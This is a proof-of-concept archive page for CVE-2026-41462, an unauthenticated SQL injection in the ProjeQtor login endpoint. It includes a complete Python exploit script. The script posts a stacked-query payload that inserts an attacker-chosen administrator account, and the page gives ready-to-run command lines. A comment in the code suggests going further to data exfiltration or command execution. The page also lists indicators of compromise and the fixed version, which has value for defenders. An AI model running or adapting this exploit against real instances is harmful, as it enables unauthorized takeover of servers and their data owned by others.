PoC Archive PoC Archive
Critical CVE-2026-41462 patched

ProjeQtor Unauthenticated Login SQL Injection (CVE-2026-41462)

by Ashraf Zaryouh (0xBlackash) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-41462
Category
web
Affected product
ProjeQtor project management tool
Affected versions
7.0 through 12.4.3 (fixed in 12.4.4)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherAshraf Zaryouh (0xBlackash)
CVE / AdvisoryCVE-2026-41462
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagsprojeqtor, sqli, unauthenticated, login-bypass, stacked-queries, admin-creation, nuclei
RelatedN/A

Affected Target

FieldValue
Software / SystemProjeQtor project management tool
Versions Affected7.0 through 12.4.3 (fixed in 12.4.4)
Language / PlatformPHP web application; PoC in Python (requests)
Authentication RequiredNo
Network Access RequiredYes

Summary

ProjeQtor’s login.php endpoint concatenates the login POST parameter directly into a SQL query without sanitization, allowing an unauthenticated attacker to inject stacked SQL statements. The included exploit crafts a login value that terminates the original query and appends an INSERT INTO resource (...) VALUES (...) statement, creating a brand-new administrator account with attacker-chosen username and password. Once the attacker’s POST is accepted, they can simply log in through the normal web UI with full administrative privileges. A companion Nuclei template detects the underlying injection point by sending a benign SELECT 1; stacked query and checking for SQL-error strings in the response.


Vulnerability Details

Root Cause

The login handler builds its authentication SQL query by directly interpolating the user-supplied login field, permitting stacked/multi-statement SQL injection (CWE-89) with no input validation or parameterization.

Attack Vector

  1. Attacker sends an unauthenticated POST to /login.php with login set to a payload that closes the original query and appends ; INSERT INTO resource (name, login, password, profile) VALUES (...) -- .
  2. The database executes both the original login check and the injected INSERT, creating a new administrator-profile resource/user record.
  3. Attacker logs in at /login.php using the newly created credentials and lands on the full admin dashboard.
  4. From there the attacker has complete control over projects, users, and system settings.

Impact

Unauthenticated SQL injection leading directly to full administrative account takeover of the ProjeQtor instance and its underlying database.


Environment / Lab Setup

Target:   ProjeQtor <= 12.4.3 web application (login.php)
Attacker: Python 3 + requests, or nuclei with the provided template

Proof of Concept

PoC Script

See CVE-2026-41462.py and CVE-2026-41462.yaml in this folder.

1
2
python3 CVE-2026-41462.py -u http://target.com --create-admin
python3 CVE-2026-41462.py -u http://target.com --create-admin --username admin123 --password StrongPass2026!

CVE-2026-41462.py posts the stacked-query injection payload to /login.php to create a new admin user (resource table, profile=1), then prints the login URL and new credentials. CVE-2026-41462.yaml is a Nuclei detection template that sends a benign SELECT 1; stacked query to common login paths and flags the target as vulnerable if SQL error strings appear in the response.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected new rows in the resource table with profile=1 (admin) and unfamiliar usernames
  • Login attempts with SQL metacharacters (', ;, --) in the username field
  • New admin logins from unfamiliar IPs shortly after suspicious /login.php POST requests

Remediation

ActionDetail
Primary fixUpgrade to ProjeQtor 12.4.4 or later
Interim mitigationDeploy a WAF rule blocking SQL metacharacters in the login parameter, and audit the resource table for unauthorized admin-profile entries until patched

References


Notes

Mirrored from https://github.com/0xBlackash/CVE-2026-41462 on 2026-07-05.

CVE-2026-41462.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
"""
CVE-2026-41462 - ProjeQtor Unauthenticated SQL Injection via Login
Tested on ProjeQtor 12.4.3
Author : Ashraf Zaryouh / @0xBlackash
Github : https://github.com/0xBlackash/CVE-2026-41462
"""

import requests
import sys
import argparse
import urllib3
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-41462 - ProjeQtor SQLi Exploit")
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g. http://target.com)")
    parser.add_argument("--create-admin", action="store_true", help="Create a new admin user")
    parser.add_argument("--username", default="hacker", help="Username for new admin (default: hacker)")
    parser.add_argument("--password", default="Admin123!", help="Password for new admin (default: Admin123!)")
    parser.add_argument("-p", "--proxy", help="Proxy (e.g. http://127.0.0.1:8080)")
    args = parser.parse_args()

    target = args.url.rstrip("/")
    session = requests.Session()
    
    if args.proxy:
        session.proxies = {"http": args.proxy, "https": args.proxy}

    print(f"[+] Targeting: {target}")

    # Common login endpoint for ProjeQtor
    login_url = urljoin(target, "/login.php")   # or /projeqtor/login.php depending on installation

    # Payload to create a new admin user via stacked queries / INSERT
    # Adjust the table/column names if the exact schema differs slightly
    create_admin_payload = f"admin' ; INSERT INTO resource (name,login,password,profile) VALUES ('{args.username}','{args.username}',MD5('{args.password}'),1) -- "

    data = {
        "login": create_admin_payload,
        "password": "anything",
        "submit": "1"
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }

    try:
        print(f"[+] Sending payload to create admin user '{args.username}' ...")
        r = session.post(login_url, data=data, headers=headers, verify=False, timeout=15)

        if r.status_code == 200:
            print("[+] Request sent successfully.")
            print(f"[+] New admin created → Username: {args.username} | Password: {args.password}")
            print(f"[+] Try logging in at: {target}/login.php")
        else:
            print(f"[-] Unexpected status code: {r.status_code}")

        # Optional: You can extend this with data exfiltration payloads (UNION SELECT) or command execution if MSSQL + xp_cmdshell is enabled.

    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    main()